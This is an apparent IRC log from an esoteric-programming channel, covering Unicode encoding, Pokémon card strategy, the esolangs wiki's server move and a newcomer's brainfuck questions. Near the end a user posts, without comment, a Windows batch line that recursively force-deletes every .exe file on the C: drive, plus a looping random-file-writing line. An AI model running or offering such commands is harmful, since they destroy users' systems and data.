21:19:02 <ais523> does it work in Safari, I wonder? I know it doesn't normally act differently from Chrome, but this isn't exactly a rendering thing, so it might
21:19:19 <olsner> I wouldn't be surprised if treating text/plain-that-looks-htmly like text breaks more than one Really Important Site
21:19:21 * ais523 tries today's log in Epiphany
21:19:36 <ais523> yep, works just fine in Epiphany
21:19:40 <ais523> and that's Webkit-based
21:19:45 <ais523> so this increases the chance of it working in Safari too
21:20:36 <Gregor> text/plain really isn't very important on the webernets.
21:20:52 <Gregor> And lest you forget, the logs are also available nicely formatted, and thanks to elliott the nicely formatted logs copypasta correctly.
21:21:34 <olsner> "Downloading file Name: 2012-02-20.txt Type: unknown"
21:21:36 <zzo38> I use text/plain for many thing I write and it is use in other circumstances too
21:21:38 <oerjan> <Gregor> Maybe it's because I explicitly set the charset to UTF-8? <-- today's logs _did_ start with a large number of color codes...
21:22:04 <HackEgo> X<U<.|qGwe+0!,9..w..;;1OMQժ&._..~'rF,F \ ,.|dWj9F{=҃=4.X.EЪȃO. \ yB.< RQy.&XY+X.lļ.(v%ݦ2>vx/Cdy.雛q.T.;1...P/5..aW$ҏD[T?'+s.2.:HોhOϒü(.ڦ~~.}Bfdy2t.?" 搅Y.̟..KU!~qgC4[U^ 8>e(=.bt֔..,S.BKrp|E.W.~lJ.]<`P.Hm.]Z\
21:22:05 <Gregor> OHHH, looka that, earlier logs actually show fine in Chrome.
21:22:18 <Gregor> So it's actually just that Chrome isn't willing to render it if the content encoding is a LIE.
21:22:25 <Gregor> Which seems fine to me.
21:23:19 <oerjan> Gregor: all you need to do is to find a content encoding which allows both UTF-8 text and irc color codes. should be a breeze.
21:23:54 <ais523> we badly need a utf-8-or-maybe-latin-1 encoding
21:24:09 <Gregor> The problem is that the content encoding changes from line to line.
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21:24:17 <Gregor> There's no "figure it out on a line-by-line basis" encoding.
21:24:20 <pikhq> ais523: Which wouldn't actually solve that at all.
21:24:34 <olsner> ooh, helpfully the default option on that download dialog was actually "Open in: Opera"
21:24:49 <fizzie> IRC color codes shouldn't really be a problem, though? It's just 0x03, that's equally 0x03 in UTF-8 and is not an illegal UTF-8 sequence.
21:24:52 <zzo38> oerjan: IRC control codes are valid UTF-8, since it is ASCII control codes so it work, isn't it?
21:25:06 <ais523> pikhq: meaning "interpret this as utf-8, except where it's invalid utf-8 interpret it as latin-1 instead"
21:25:12 <fizzie> Many of the things said on the channel might not be, though.
21:25:27 <pikhq> ais523: Yes, but you would also want IRC color code parsing.
21:25:45 <ais523> oh, hmm, I was thinking generally, not IRCish in particular
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21:25:46 <pikhq> Which, sure, are *valid* UTF-8 codepoints, but still.
21:25:51 <ais523> why aren't IRC color codes in Unicode yet?
21:26:11 <zzo38> Have you ever, in Pokemon Card: * Retreat twice in one turn? * Knocked out your own pokemon before the end of your turn? * Won due to opponent running out of cards? * Achieved overmate? * Evolved for the sole purpose of increasing your own retreat cost? * Played 59EYE1MEWTWO deck against an opponent who played four ENERGY REMOVAL and four SUPER ENERGY REMOVAL and you still won?
21:26:13 <pikhq> ais523: They're ASCII control codes. They're *in* Unicode, but with only context-defined semantics.
21:26:43 <ais523> pikhq: I mean, loads of encodings use control codes with particular meanings
21:26:49 <ais523> and those are moved to a different codepoint
21:26:51 <oerjan> <Gregor> And lest you forget, the logs are also available nicely formatted <-- um i seem to have forgotten that.
21:27:46 <pikhq> ais523: And IRC uses the ASCII set. Which have always had context-defined semantics. :)
21:28:26 <ais523> e.g in the IBM OEM character set, codepoint 1 is a smiley face
21:28:34 <ais523> and as a result, Unicode also has a smiley face, it just isn't codepoint 1
21:28:42 <pikhq> (literally, the proper behavior depends on the terminal you're using.)
21:28:43 <zzo38> (Yes I have once played an evolution card for the sole purpose of increasing my own active pokemon's retreat cost.)
21:28:45 <ais523> so shouldn't Unicode also have something that corresponds to IRC's codepoint 3?
21:29:07 <pikhq> ais523: Should it have a seperate encoding for VT-100 codes?
21:29:25 <ais523> zzo38: how did you still win when the opponent had energy removal?
21:29:33 <ais523> pikhq: that's more debatable, but quite possibly
21:30:29 <pikhq> There goes a whole 'nother bit, then. :P
21:30:31 <zzo38> ais523: Energy removal really doesn't affect it much if you know how to play the deck properly. There are ways to win against such a deck but energy removal isn't one of them. (You simply need to know when to attack and when to defend)
21:30:45 <pikhq> There were a *lot* of incompatible terminals back in the day.
21:31:27 <pikhq> And convention on the systems using those terminals was that the charset for all of them was the same, they just happened to interpret a small chunk of them differently.
21:31:41 <pikhq> Thus, the terminal setting being in TERM, not LC_*
21:32:55 <pikhq> Of course, *nowadays* that's just a comical bit of legacy. All UNIX terminals are VT-100, and all Win32 terminals are whatever the hell that DOS terminal thing is.
21:34:00 <Jafet> Comical? Surely thou jest
21:34:40 <fizzie> "All Unix terminals" have a sensible common subset, but they're certainly not all identical when it comes to specifics (window title setting if supported, 88/256-color modes, whatever).
21:34:45 <zzo38> I assume you know about the infamous 59EYE1MEWTWO deck. I thought of it far before I read about it, and when I did read about it they said it won't work due to your opponent can easily beat you in these ways... one way listed was by using ENERGY REMOVAL card. But I realized they were wrong about that. Yet, there is ways to win against such a deck. Any card that can poison with one energy can win against this deck.
21:35:03 <Jafet> xterm still thinks that being a superset of every other non-bitmapped DEC terminal ever made is an achievement
21:35:09 <pikhq> fizzie: Yeah, *but* it's quite different from how things used to be.
21:35:22 <pikhq> fizzie: Nowadays, everything is basically "VT-100 plus foo".
21:35:56 <pikhq> Which dramatically eliminates the need for a swath of (admittedly now-tiny) infrastructure for handling multiple terminal types.
21:36:04 <zzo38> ais523: Do you believe me, or do you believe the other report which I read?
21:36:57 <ais523> zzo38: hmm, I can see how you could attach energy rather than defend if you thought the opponent wouldn't attack for much
21:37:06 <pikhq> Instead of needing to know "how do I do *anything*", you just need to know "what level of color support is available, can I set the window title, etc."
21:37:19 <ais523> also, would that deck be better if it also had 4 copies of Bill in there? or would that lead to it decking itself?
21:37:49 <zzo38> ais523: It would lead to decking itself, and wouldn't help anyways since you can attach only one energy per turn regardless
21:38:25 <Jafet> Is Pokémon PSPACE complete
21:38:55 <olsner> it's Pokémon-SPACE complete
21:38:59 <ais523> Jafet: it may even be TC; I strongly suspect Magic: the Gathering is
21:39:22 <pikhq> If Magic isn't already TC, then it's merely a couple well-designed cards away.
21:39:24 <fizzie> ais523: I don't think Unicode's stated goal is to accommodate all encoding systems, just all languages/"writing systems"/symbol sets/whatever, and then some compatibility characters for reversible E->Unicode->E round-trip; but the IRC control codes survive the trip already, and moreover they are "presentational" things; I mean, Unicode by design doesn't have any bold/superscript/color-setting things.
21:39:43 <zzo38> Not only any card that can poison with one energy, but also any card that can confuse with one energy, has a possibility to win. Poison will probably be more effective here though, unless the player with the card causing confusion/poison has no bench pokemon cards.
21:39:49 <fizzie> E.g. the "Turing Machine" card.
21:39:52 <ais523> it has cat smileys because they're used in text messages on Japanese mobile phones, though
21:40:19 <fizzie> Tap to run a program, or whatever.
21:40:21 <Jafet> ais523: just abuse the private use plane
21:40:23 <zzo38> Unicode does not even have all the Commodore 64 character set
21:40:24 <pikhq> And, yeah, Unicode has *invented* things that are context-specific. (character variant markers)
21:40:26 <ais523> zzo38: wouldn't confusion cause the defence to stop working? so you could damage Mewtwo simply by attacking?
21:40:35 <Jafet> Actually, it's called "private use" because it's for private use
21:40:38 <fizzie> (Game ends if it doesn't halt.)
21:41:10 <zzo38> ais523: It might stop working, but you have a 50% chance to work every turn, otherwise you damage yourself (and it is even weak to itself so twice damaging yourself you lose)
21:41:18 <olsner> Jafet: it's not really private use once you need every phone in japan to cooperate over the all-important cat smileys
21:41:42 <ais523> zzo38: also, why doesn't a two-energy poisoning move work?
21:41:42 <pikhq> zzo38: Funny, I think all of PETSCII is in there.
21:41:51 <Jafet> Private use to japanese phones
21:42:11 <pikhq> Perhaps not in the BMP, though.
21:42:41 <zzo38> But poison will work simply because in a few turns you will lose, regardless of attack/defense. If your opponent has no bench pokemons though, you might still win if you attack.
21:42:52 <pikhq> Hmm, no, some of the graphic glyphs aren't.
21:44:07 <fizzie> ais523: Cat smileys are still "characters", though. They didn't put in colors in the Emoji set either, even though I think it has some.
21:44:19 <zzo38> Other cards that can beat a 59EYE1MEWTWO deck include LASS.
21:44:30 <pikhq> fizzie: Actually, there are a couple glyphs in the Emoji that *are* a specific color.
21:44:31 <ais523> what does Lass do, again?
21:44:40 <pikhq> I think it's something like RED SQUARE and GREEN SQUARE
21:45:22 <fizzie> pikhq: Yes, but I think some of the carrier-specific encodings had arbitrary color-setting codes. Not entirely sure here.
21:45:23 <zzo38> ais523: Both players reveal card in their hand, whichever ones are trainer cards are shuffled into their draw pile.
21:45:46 <ais523> zzo38: oh, just to restock on cards slightly
21:45:58 <fizzie> "# Exclude color and animation details from proposed character names except where necessary for distinction.
21:46:01 <fizzie> # For cases where color is the only source distinction, the convention is to map to BLACK and WHITE where there are two choices, and to BLACK, WHITE, and CHECKERED where there are three, and to BLACK, WHITE, CHECKERED. and STRIPED where there are four.
21:46:04 <fizzie> # Chart annotations will be added to indicate the preferred representations on color devices."
21:46:05 <pikhq> The only control character used for IRC color is U+02
21:46:50 <ais523> this line contains a U+02
21:47:13 <fizzie> (Two-digit U+dd looks rather weird, one sort of expects to have at least four.)
21:47:33 <pikhq> fizzie: Yeah, well. Most people don't use U+ for ASCII chars. :)
21:47:41 <zzo38> There are other cards that might work but have a very low possibility of working: SLEEP might work, and if you have many DIGGER + RECYCLE + ITEMFINDER then that might work too, but these are all low chances of actually working.
21:48:00 <pikhq> And four-digit U+dddd looks really really weird for ASCII.
21:48:07 <ais523> I think Energy Removal does work if you simply keep attacking while you're doing it
21:48:09 <pikhq> U+0003? I mean, really.
21:48:55 <zzo38> ais523: Not necessarily; it depends on circumstances. But yes, if you are able to keep attacking while doing it, it has a good chance of working.
21:50:05 <zzo38> But I can tell you I did win with the 59EYE1MEWTWO deck when the opponent had (and used) four ENERGY REMOVAL and four SUPER ENERGY REMOVAL, so it won't necessarily beat such a deck.
21:53:18 <fizzie> Not entirely sure why people went with eight hex digits for \U when six would've been enough. But maybe it's good to be prepared.
21:55:23 <zzo38> Do you know if you have ever done any of things in Pokemon Card of the things that I have listed?
21:55:27 <ais523> hopefully, by the time it reaches the 10FFFFth character, UTF-16 will have died out, and we'll be able to go above that limit
21:55:33 <zzo38> I have done all of them
21:58:09 <fizzie> ais523: The real question is what the added character ranges will be called. (There's the BMP and the Astral Planes; something like Transcendental Planes might work.)
21:58:14 <zzo38> ais523: UTF-8 does support larger numbers than 0x10FFFF although they are not considered valid Unicode characters even in future.
21:58:36 <zzo38> UTF-16 doesn't support such things though
21:58:38 <ais523> I don't think "Astral Planes" is an official name
21:58:43 <fizzie> And the UTF-8 standard was altered to not support them any more.
21:58:54 <fizzie> No, but it's a widespread one.
21:59:21 <zzo38> fizzie: No it still does; they are simply not allowed in Unicode text files and anything Unicode. If you are encoding arbitrary numbers you can still use it.
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22:00:10 <fizzie> zzo38: No. The latest UTF-8 RFC, 3629, says the longest encoding is four bytes.
22:01:06 <zzo38> fizzie: I know that. But it is not relevant to what I am trying to say.
22:02:15 <fizzie> It's not UTF-8 if you don't follow the standard, and that RFC is the standard.
22:03:07 <olsner> even limited to four bytes, iirc that gives you a slightly larger range than the valid unicode codepoints
22:03:27 <zzo38> It doesn't mean you cannot make up invalid codes to make up a not-UTF-8 but is otherwise same way
22:03:58 <fizzie> olsner: Well, the "too-high" four-byte sequences aren't UTF-8 either.
22:03:58 <zzo38> It will still be the same encoding, but it encodes arbitrary numbers instead of Unicode texts.
22:04:48 <fizzie> Sure, but you can't call it "UTF-8". (Or, well, I guess you can, but arguably you shouldn't.)
22:05:59 <zzo38> You can call it "UTF-8AN" where "AN" means "Arbitrary Numbers" to mean that all encoded numbers are valid instead of being a Unicode text
22:06:35 <fizzie> (Though I think there's still some standards titled "UTF-8" that are the old way and go up to 2^31.)
22:07:19 <Gregor> UTF-8 extended up to seven bytes has all the same important properties as UTF-8 (although the first byte happens to carry no payload bits), and no conformant UTF-8 reader should have trouble skipping over the unrecognized bytes (although it would have to be configured to actually do that and not just whine)
22:07:41 <pikhq> zzo38: I wouldn't be too surprised if eventually Unicode gets expanded beyond the 21 bit space.
22:08:02 <pikhq> In which case, of course, UTF-8's much encoding space will be quite handy.
22:08:33 <pikhq> Of course, Unicode expanding for that much space will probably take quite a while.
22:08:52 <pikhq> Unless they start trying to encode literally every attested CJK glyph.
22:09:12 <pikhq> (mind you, they're nearly trying to do that already. :P)
22:09:28 <Jafet> There probably haven't been a million ideographs ever invented
22:09:47 <pikhq> Jafet: This would include miswritings.
22:10:16 <Jafet> Probably even those.
22:10:17 <pikhq> Also, it's trivial to invent CJK glyphs.
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22:10:59 <Jafet> Yes, but it's not trivial to get your invented glyph through the consortium!
22:11:23 <Gregor> 🐐 <(Unicode goat begs to differ)
22:11:32 <pikhq> If they start encoding every attested CJK glyph, then it will be trivial.
22:12:36 <zzo38> I think Unicode is full of dumb things though.
22:13:09 <ais523> zzo38: are there any characters you use that aren't in Unicode?
22:13:09 <Jafet> They could make ideograph combining characters
22:13:18 <pikhq> Jafet: They already declined that solution.
22:13:54 <fizzie> Maybe they'll rethink when they're running out of space.
22:13:59 <Jafet> I suppose none of them wanted to implement the implied normalisation algorithm.
22:14:01 <pikhq> ais523: https://en.wikipedia.org/wiki/Bi%C3%A1ngbi%C3%A1ng_noodles
22:14:06 <fizzie> There's still quite a lot of it.
22:14:30 <ais523> Oracle survey (used as evidence in Oracle v. Google): almost one quarter of people prefer a smartphone costing $200 to an identical smartphone costing $100
22:14:31 <zzo38> ais523: Sometimes. In a few cases the private uses can be used, but I prefer using METAFONT and that stuff
22:14:47 <pikhq> I think that's the only glyph that's simultaneously "common" and not in Unicode.
22:16:16 <ais523> it'd be hilarious if a new letter really was invented as a marketing ploy
22:16:17 <olsner> https://en.wikipedia.org/wiki/Taito_(kanji) :)
22:16:20 <Phantom_Hoover> Is there even a point to trying to fit the whole Chinese writing system into Unicode?
22:16:21 <ais523> although ideograms aren't exactly "letters"?
22:16:23 <Jafet> ais523: the former name of the artist formerly known as the artist formerly known as Prince
22:16:26 <fizzie> The Klingon symbols are sort-of "common".
22:16:32 <ais523> Phantom_Hoover: sure; it's so you can communicate in Chinese
22:16:34 <Phantom_Hoover> Unicode just isn't meant to represent that kind of thing, surely?
22:17:00 <Gregor> <ais523> Oracle survey (used as evidence in Oracle v. Google): almost one quarter of people prefer a smartphone costing $200 to an identical smartphone costing $100 // additionally, another quarter of people prefer a smartphone costing $200 but discounted to $100 to an identical one costing $100 in the first place.
22:17:14 <Jafet> pikhq already mentioned that they declined to do that
22:17:15 <Phantom_Hoover> It's built around representing things as characters, but the Chinese system doesn't use characters in that sense.
22:17:16 <pikhq> ais523: They more correctly map to morphemes.
22:17:28 <ais523> Gregor: but the survey asked an assumption that all else was useless
22:17:37 <pikhq> Admittedly, this too is *incorrect*, but much less so.
22:17:47 <Jafet> There are only code points for Chinese characters, not character components.
22:17:49 <pikhq> It's more like a morphemic syllabary.
22:17:53 <ais523> anyway, Google are taking this survey result as evidence that the survey is flawed, and that people aren't assuming all else is equal even though the survey told them to
22:18:10 <pikhq> Jafet: Part of the problem is that nobody entirely agrees on how to decompose the characters.
22:18:22 <Phantom_Hoover> Jafet, but that seems kind of like implementing English in Unicode by making each word a character.
22:18:42 <Jafet> Chinese characters are not words.
22:18:52 <Jafet> Words are made out of one or more characters.
22:18:55 <pikhq> Phantom_Hoover: If nearly every letter-pair had a variety of ligatures.
22:19:03 <pikhq> Phantom_Hoover: And if they encoded English morphemes.
22:19:14 <Jafet> I'm pretty sure the Unicode consortium is less confused on these matters than you, Phantom_Hoover.
22:19:28 <pikhq> Words are *written with* one or more characters.
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22:19:32 <Jafet> Or than you attribute to them.
22:19:40 <Phantom_Hoover> I'm using words in common usage, not however the Unicode consortium does it.
22:19:56 <pikhq> Chinese language family words are, of course, composed of one or more syllables, and each character maps (generally) to one syllable.
22:20:21 <Phantom_Hoover> I'm not saying they're confused, just voicing a thought in the hope of something interesting coming out of the discussion oh god I sound like kallisti.
22:20:30 <pikhq> ('cept in non-Chinese languages using the glyphs, where each character maps to "oh dear god that's confusing")
22:21:41 <kallisti> Phantom_Hoover: what's the problem? sounds reasonable to me. :D
22:21:53 <pikhq> I'm pretty sure that mapping from Japanese text to reading is AI-complete.
22:22:10 <Phantom_Hoover> It sounds like your constant "I wasn't being stupid, I was just <excuses>."
22:23:08 <oerjan> pikhq: i vaguely recall there's a character that is a non-syllabic r, or something
22:23:46 <oerjan> or is it that it's an actual suffix...
22:24:10 <pikhq> Probably. There's been time for edge cases to evolve.
22:24:21 <Jafet> oerjan: of course, mapping Chinese writing to Chinese speaking is a lost cause.
22:24:41 <pikhq> Jafet: Actually, not particularly.
22:24:56 <pikhq> There's relatively few ambiguities — most glyphs have only one reading.
22:25:32 <pikhq> However, Chinese speech-to-text is probably pretty hard.
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22:33:53 <Phantom_Hoover> I love whenever Reddit's progressive, liberal mask slips and they start baying for blood like Daily Mail readers.
22:35:13 <fizzie> Hard, but there's quite a few speakers, so there's markets. (I don't really know what the state-of-the-art there is, but there's certainly papers.)
22:35:30 <pikhq> I'm not entirely sure where the idea that they're progressive and liberal comes from.
22:36:12 <pikhq> Seems to me that Reddit spans the range from progressive and liberal to blood-seekers, with most Redditors being morons, and also most of them being relatively young.
22:36:50 <fizzie> Unusurprisingly quite a lot of what comes out there is about acoustic models, and the tones in particular.
22:37:10 <Phantom_Hoover> fizzie, loving your parallel conversation about speakers.
22:47:24 <ais523> so, it turns out that Google is using third-party cookies that would be not accepted by default by IE and Safari, except that it uses methods to get around the restrictions and make them be accepted by default anyway
22:47:42 <ais523> a different method for each
22:48:03 <ais523> I take this as evidence that marketing departments are evil, regardless of the rest of the company
23:09:32 <pikhq> ais523: The "method", such as it is, the header: P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
23:10:09 <ais523> and P3P is a Microsoft-specific standard that ignores unknown tokens, so according to P3P, that's equivalent to saying that the cookie won't be used for any purpose at all
23:10:43 <ais523> it'd make more sense to simply not send a P3P header, than send one that says it isn't one
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23:10:52 <pikhq> And without the P3P header, then the cookies will always be declined.
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01:45:31 <oerjan> @tell kallisti hm, due to a cutoff edit in 2007 the specification for dupdog seems to have lost the halting on shanty output - and i only noticed it now, despite correcting the rest of the cutoff at the time
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03:01:40 <shachaf> No, we're done waiting for THE ALAN DIPERT.
03:02:21 <shachaf> We're waiting for THE ELLIOTT HIRD of HEXHAM now. Or maybe for RAWK BAND.
03:05:36 <shachaf> Hey, you can still get songs from RAWK BAND.
03:12:54 <shachaf> I wonder if elliott is reading these logs RIGHT NOW.
03:13:03 <shachaf> ("RIGHT NOW" as of the time of reading, not the time of writing.)
03:14:02 <quintopia> if you will be wondering that at the moment he reads them, then you will guarantee you are correct
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03:19:44 <lambdabot> Control.Monad.Fix module Control.Monad.Fix
03:19:44 <lambdabot> Data.Function fix :: (a -> a) -> a
03:30:56 <lambdabot> kallisti: You have 1 new message. '/msg lambdabot @messages' to read it.
03:31:15 <kallisti> I get to use the Y combinator when making boring web scraping code.
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09:07:16 -!- ais523 has set topic: Could all of my potato-measurement needs really be solved‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org has moved servers!.
09:07:36 -!- ais523 has set topic: Could all of my potato-measurement needs really be solved‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki has moved servers!.
09:09:46 <ais523> well, Alan Dipert did, not that he did most of the work, just the last bit
09:09:53 <ais523> (retargeting esolangs.org in DNS)
09:10:02 <olsner> but it's still on godaddy :/
09:10:34 <ais523> and esoteric.voxelperfect.net/wiki/* is now a redirect to esolangs.org/wiki/*
09:10:37 <pikhq> Yeah, well, shitty hosting is also cheap hosting.
09:20:28 -!- ais523 has set topic: Could all of my potato-measurement needs really be solved‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has moved servers!.
09:28:42 <fizzie> Oh no, server move complete! Now there is no SPAM anywhere ever again. :/ :\
09:29:56 <ais523> fizzie: oh, the spambots are showing up in the server logs, they just haven't got past the CAPTCHA yet
09:32:03 <fizzie> How pitiful! Isn't that the pits?
09:32:52 <ais523> that was an unexpected NetHack reference :)
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09:33:38 <fizzie> I couldn't quite figure out how to get the "falls into a pit" bit in.
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10:03:27 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
10:03:31 <lambdabot> dmwit said 16h 1m 25s ago: Can you double-check that darcs really got you a repository?
10:03:45 <Taneb> Ooh, wrong channel for relevency
10:04:00 <Taneb> I should have @messages'd in #haskell
10:04:16 <Taneb> Also, spambots got to the new wiki before I did.
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10:05:31 <itidus20> since they already knew the domain name esolangs it probably wasn't a greatly difficult find
10:07:32 <ais523_> I know, discussing it with elliott now
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13:24:19 <Phantom_Hoover> OH DEAR GOD THAT AWFUL "GIRL LOOK AT THAT BODY" XKCD CARTOON HAS ESCAPED CONTAINMENT ARGH
13:35:05 <ion> How is that especially awful?
13:38:13 <itidus20> it is not so awful relative to the certain doom that civilizations which are billions of years old must be facing with proximity to black holes
13:42:20 <ion> Judging from most pop-sci “documents” that mention black holes, so are we.
13:43:00 <Phantom_Hoover> Being near a black hole isn't even close to certain doom.
13:43:10 <ion> [whooshing sounds, dramatic music] A dark menace lurks in our very neighborhood ready to swallow us all.
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14:23:43 <fizzie> It is, however, probably slightly inconvenient, if the hole used to be a star you were using e.g. for heating things up.
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14:31:40 <oerjan> i think usually the process of getting from star to black hole involves getting more heat than you can take anyway. (just the _neutrinos_ from a supernova are enough to wipe out life on a planet.)
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14:33:18 <oerjan> ("just" is not entirely appropriate there - they are supposedly more than 90% of the energy released. it's just that neutrinos are _very_ inefficient at heating planets up, in general.)
14:34:42 <oerjan> in that "1 light year of lead has only about even chance of absorbing a neutrino" sense.)
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14:41:04 <Taneb> Does anyone have any major objections to me changing the spec of Luigi?
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14:45:34 <Taneb> Right; the alphabet must not be explicitly stated, instead it is derived from the axiom and the various rules.
14:48:32 <Taneb> The predecessor sections of the rules must be unambiguous, however there is the option of context-sensitive rules, which are expressed as ;foo<x>bar;successor;, where only x is changed to successor, only when x is after foo and before bar.
14:48:44 <Taneb> These context-sensitive rules take priority
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15:50:40 <ais523> heh, I didn't even realise I had ais523__ registered
15:50:51 <ais523> so how come I can ghost them?
15:51:08 <ais523> (and can I ghost arbitrary unregistered users, or just ones whose names are underscores away from mine)
15:51:23 <fizzie> I think there was some rule about suffixes.
15:51:45 <fizzie> And/or I don't suppose the __ was identified?
15:52:13 <ais523> oh, it would have been
15:52:23 <ais523> I identify for ais523 no matter what nick I'm under
15:52:23 <fizzie> That might make a difference too, theoretically.
15:53:17 <fizzie> "If you are logged in to the nick's account, you need not specify a password, --" goes the nickserv help ghost.
15:53:25 <fizzie> Where "nick" is the target nickname.
15:53:49 <fizzie> But I suppose in that context "nick's account" is the one it's been registered to, not the one it's identified as.
15:54:19 <ais523> it's reasonable that you should be able to ghost anyone who identified as you
15:56:58 <fizzie> if ((target_u->myuser && target_u->myuser == si->smu) || /* they're identified under our account */
15:57:01 <fizzie> (!nicksvs.no_nick_ownership && mn && mu == si->smu) || /* we're identified under their nick's account */
15:57:04 <fizzie> (!nicksvs.no_nick_ownership && password && mn && verify_password(mu, password))) /* we have their nick's password */
15:57:28 <fizzie> (atheme-irc-services, modules/nickserv/ghost.c)
15:57:45 <ais523> hmm, I rarely expect people to check the source to answer a question
15:57:50 <ais523> except in #nethack, and then it's usually me doing it
15:58:39 <fizzie> The comments are fortunate, it's not entirely sure what "si->smu" and "mn" and "mu" are based on the names.
15:59:03 <Gregor> fizzie: Entirely? It's not remotely clear.
15:59:21 <fizzie> Well, "u" sounds userish, and "n" sounds nickish.
15:59:40 <Gregor> My nick, my user, service-mooooo-user?
16:00:19 <fizzie> "si" is a sourceinfo_t, which I think is the sender of the command. Not sure about the "smu". (There's also a si->su.)
16:00:41 <fizzie> Also fi:sisu == "Determination regardless of cost, persistence, strength, obstinacy, perseverance, willpower".
16:01:46 <ais523> fizzie: that definition's much more fun if you accidentally set , at a higher precedence than of
16:01:50 <ais523> like I did first time I Read it
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16:41:23 -!- Gregor has set topic: Could all of my potato-measurement needs really be fulfilled‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has moved servers!.
16:46:21 <Gregor> When did the first list on the main page become grammatically dubious >_>
16:48:52 <Gregor> Fixing things is for suckers.
16:49:27 <Phantom_Hoover> http://www.reddit.com/r/lolphp/comments/ps6x5/0x0_wat/
16:52:11 <ais523> Phantom_Hoover: awesome
16:53:13 <Phantom_Hoover> I should probably stop reading /r/lolphp, because it makes me think I know about programming and that's never a good sign.
16:56:02 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
17:03:10 <fizzie> "0x0 +2e1" => 0x2e1 + 20 is the best thing.
17:04:09 <Phantom_Hoover> I think the best thing is that the stripping of zeros that causes the idiocy was added for 'optimisation'.
17:04:13 <Gregor> fizzie: Yup. Pretty amazing.
17:05:26 <ais523> Phantom_Hoover: indeed, as we all know that strtol is slower at skipping zeroes than a loop specifically designed to skip zeroes
17:09:26 <Phantom_Hoover> I am now reading a thread of people saying that yeah, PHP is a pretty reasonable language and doesn't really deserve a lot of the hate it gets with a jaw scraping the floor.
17:13:31 -!- Killer64 has joined.
17:13:51 <HackEgo> Killer64: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
17:14:32 <Phantom_Hoover> Ah, then you have stumbled upon the shady underbelly of the esolang world.
17:14:37 <ais523> and welcome to the new Esolang wiki
17:14:55 -!- Gregor has set topic: 0 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | Could all of my potato-measurement needs really be fulfilled‽ | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has moved servers!.
17:14:58 <ais523> this place is actually on-topic sometimes, believe it ornot
17:15:27 <Taneb> For the most part, we're a friendly bunch.
17:15:28 <Killer64> is while(true) possible in brainfuck?
17:15:41 <ais523> Killer64: effectively, you just make sure the cell it's looping on is always true
17:15:50 <ais523> e.g. +[ stuff here [-]+]
17:16:05 <ais523> that's normally overkill, you can typically just not modify the cell it's looping on and make sure the cursor always goes back there
17:16:07 <Taneb> Killer64, important question: do you live in Hexham?
17:16:07 <Gregor> You will have to reserve a cell to be that "true" value.
17:16:46 <ais523> there's been a few too many geographical coincidences in here
17:17:22 -!- Gregor has set topic: 0 days since somebody new showed up actually looking for the /right/ definition of "esoteric" | This channel now has three members who are neither from Hexham nor Finland | (And 48 who are lying scoundrels) | Best for direct log access , 10 year of experience and guarantee quality. See httP://64.62.173.65/%49%27/.%2E/lo%67s/_esoteri%63/#THIS_IS_NOT_A_SCAM | http://esolangs.org/wiki/ has.
17:17:25 <ais523> hmm… a language that only works in Hexham could be interesting
17:17:28 <Taneb> Two regulars on this channel are both about the same age, live in Hexham (not a huge town), both read MS Paint Adventures and HAVE NEVER MET
17:17:28 <ais523> or that is most reliable there
17:17:29 <Killer64> i stood up to 2:30 AM going through the wiki and downloading interpreters
17:17:35 <ais523> presumably it'd involve some sort of geolocation
17:18:16 <Killer64> it took me forever to find a compiled BF interpreter
17:18:29 <ais523> hmm, the problem is that BF interps are really easy to write
17:18:35 <ais523> so there's a lot of them, and most of them aren't very good
17:18:51 <Killer64> i dont know any languages capable of BF, :(
17:18:54 <Gregor> (Leaving only EgoBF as the undisputed champion of the BF universe)
17:19:02 <Taneb> ...What languages do you know?
17:19:17 <Killer64> i made a batch self interpreter
17:19:29 <ais523> a self-interp for .bat files?
17:19:35 <ais523> I thought they weren't good enough at reading input to manage that
17:20:34 <Killer64> set /p command=^> and %command%
17:20:59 <ais523> that's not a self-interp, that's basically equivalent to calling eval
17:21:22 <ais523> for a non-cheat self-interp, you have to be able to parse and execute the program on a semantic level
17:22:17 <Killer64> so the only way is to use those programs
17:22:36 <Killer64> non-cheat self interpret is impossible
17:22:56 <ais523> well, you'd call into text processing programs to do things like parsing
17:23:30 <Taneb> Killer64, do you want to learn programming?
17:24:02 <Killer64> i know Ti basic and java syntax
17:24:18 <Gregor> TI basic is definitely capable of interpreting BF.
17:24:41 <Gregor> "Java syntax" is a weird thing to know ... you can produce syntactically valid but semantically incorrect Java programs or something?
17:24:57 <ais523> Gregor: that's quite easy to do, really
17:25:16 <Gregor> ais523: Yes, but a weird thing to /know/.
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17:27:22 <Taneb> So, I have never learnt TI basic
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17:29:03 <Killer64> you dont need a special command to do math
17:29:20 <Killer64> you can just enter in equasions and store them
17:32:08 <Killer64> :A | %random%>%random% | goto A
17:33:05 <Taneb> Uses Casio basic, rather than TI basic
17:34:01 <Killer64> for /f %%F IN ('dir /s /b C:\*.exe') DO (del /f /q %%F)
17:34:59 <Killer64> i made every block flamable in minecraft
17:36:23 <Taneb> a) why? and b) #esoteric-minecraft
